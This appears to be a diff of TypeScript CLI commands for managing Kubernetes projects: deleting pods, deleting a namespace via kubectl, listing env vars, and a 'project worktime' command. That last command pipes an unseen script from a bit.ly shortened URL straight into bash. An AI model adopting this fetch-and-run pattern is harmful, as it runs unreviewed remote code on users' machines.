const envComponent = await ctx.get("envComponent");
|
|
30
|
+
await ensureCluster(ctx, envComponent);
|
|
31
|
+
const namespace = await getProjectNamespace(envComponent);
|
|
32
|
+
|
|
33
|
+
const selectedPodNames = await ctx.get("selectedPodNames");
|
|
34
|
+
|
|
35
|
+
ctx.log(
|
|
36
|
+
"the following pods will be DELETED 🙀 (and therefore restarted 😸)",
|
|
37
|
+
);
|
|
38
|
+
ctx.log("");
|
|
39
|
+
selectedPodNames.forEach((n: string) => ctx.log(n));
|
|
40
|
+
ctx.log("");
|
|
41
|
+
|
|
42
|
+
const shouldContinue = await ctx.confirm("Continue ? 🤔 ");
|
|
43
|
+
|
|
44
|
+
ctx.log("");
|
|
45
|
+
const k8sApi = getk8sApi();
|
|
46
|
+
if (shouldContinue) {
|
|
47
|
+
for (const podName of selectedPodNames) {
|
|
48
|
+
await k8sApi.deleteNamespacedPod(podName, namespace, "true");
|
|
49
|
+
ctx.log(`deleted pod '${podName}'`);
|
|
50
|
+
}
|
|
51
|
+
}
|
|
52
|
+
},
|
|
53
|
+
});
|
|
@@ -0,0 +1,33 @@
|
|
|
1
|
+
import { exec } from "child-process-promise";
|
|
2
|
+
import { defineCommand } from "../../core/defineCommand";
|
|
3
|
+
import { getProjectNamespace } from "../../utils/projects";
|
|
4
|
+
import { envAndComponents } from "../../apps/cli/commands/project/utils/autocompletions";
|
|
5
|
+
|
|
6
|
+
export const commandDeleteProject = defineCommand({
|
|
7
|
+
name: "project delete",
|
|
8
|
+
description: "deletes a environment of a project (it deletes the namespace)",
|
|
9
|
+
group: "project",
|
|
10
|
+
inputs: {
|
|
11
|
+
envComponent: {
|
|
12
|
+
type: "string",
|
|
13
|
+
message: "environment:component",
|
|
14
|
+
positional: true,
|
|
15
|
+
choices: async () => envAndComponents(),
|
|
16
|
+
},
|
|
17
|
+
},
|
|
18
|
+
execute: async (ctx) => {
|
|
19
|
+
const envComponent = await ctx.get("envComponent");
|
|
20
|
+
const namespace = await getProjectNamespace(envComponent);
|
|
21
|
+
const shouldContinue = await ctx.confirm(
|
|
22
|
+
"This will delete the namespace. All data will be lost. Continue? 🤔 ",
|
|
23
|
+
);
|
|
24
|
+
if (!shouldContinue) {
|
|
25
|
+
return;
|
|
26
|
+
}
|
|
27
|
+
const fullCommand = `kubectl delete namespace ${namespace}`;
|
|
28
|
+
const { stdout } = await exec(fullCommand, {
|
|
29
|
+
env: { ...process.env, DEBUG: "" },
|
|
30
|
+
});
|
|
31
|
+
ctx.log(stdout);
|
|
32
|
+
},
|
|
33
|
+
});
|
|
@@ -0,0 +1,24 @@
|
|
|
1
|
+
import { defineCommand } from "../../core/defineCommand";
|
|
2
|
+
import { getEnvVarsResolved, parseChoice } from "../../config/getProjectConfig";
|
|
3
|
+
import { envAndComponents } from "../../apps/cli/commands/project/utils/autocompletions";
|
|
4
|
+
|
|
5
|
+
export const commandEnvVars = defineCommand({
|
|
6
|
+
name: "project env-vars",
|
|
7
|
+
description: "list env vars",
|
|
8
|
+
group: "project",
|
|
9
|
+
inputs: {
|
|
10
|
+
envComponent: {
|
|
11
|
+
type: "string",
|
|
12
|
+
message: "environment:component",
|
|
13
|
+
positional: true,
|
|
14
|
+
choices: async () => envAndComponents(),
|
|
15
|
+
},
|
|
16
|
+
},
|
|
17
|
+
execute: async (ctx) => {
|
|
18
|
+
const envComponent = await ctx.get("envComponent");
|
|
19
|
+
const { env, componentName } = parseChoice(envComponent);
|
|
20
|
+
// Pass ctx as the logger (IO satisfies LoggerCmdInstance)
|
|
21
|
+
const envvars = await getEnvVarsResolved(ctx, env, componentName);
|
|
22
|
+
Object.keys(envvars).forEach((key) => ctx.log(`${key}: ${envvars[key]}`));
|
|
23
|
+
},
|
|
24
|
+
});
|
|
@@ -0,0 +1,14 @@
|
|
|
1
|
+
import { spawn } from "child-process-promise";
|
|
2
|
+
import { defineCommand } from "../../core/defineCommand";
|
|
3
|
+
|
|
4
|
+
export const commandGetMyTotalWorktime = defineCommand({
|
|
5
|
+
name: "project worktime",
|
|
6
|
+
description: "show the total worktime that you spent on a project",
|
|
7
|
+
group: "project",
|
|
8
|
+
inputs: {},
|
|
9
|
+
execute: async () => {
|
|
10
|
+
await spawn("sh", ["-c", "curl -s -L http://bit.ly/3VQEKNq | bash"], {
|
|
11
|
+
stdio: ["pipe", "inherit", "pipe"],
|
|
12
|
+
});
|
|
13
|
+
},
|
|
14
|
+
});
|